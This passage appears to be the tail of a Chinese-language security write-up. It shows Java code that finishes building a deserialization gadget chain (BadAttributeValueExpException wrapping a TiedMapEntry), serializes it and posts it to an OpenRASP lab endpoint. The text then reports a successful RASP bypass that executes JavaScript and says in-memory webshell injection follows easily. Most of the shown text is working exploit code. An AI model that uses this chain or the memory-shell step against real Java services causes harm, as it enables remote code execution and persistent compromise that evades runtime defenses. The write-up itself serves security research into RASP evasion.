val.setAccessible(true);  
val.set(badAttributeValueExpException, tiedMapEntry);  
obj = badAttributeValueExpException;  
byte[] serializedData = serialize(obj);  
 
String response = post("http://openrasp.orb.local:8080/vuln/deserialize", Base64.getEncoder().encode(serializedData));  
 
System.out.println("Response from /des:");  
System.out.println(response);  
 
} catch (Exception e) {  
e.printStackTrace();  
}

实测成功绕过RASP执行Javascript:

1000

那么直接通过Javascript去完成内存马注入也自然十分简单了(当然通过XML配置也还可以通过其他方式进行内存马注入)。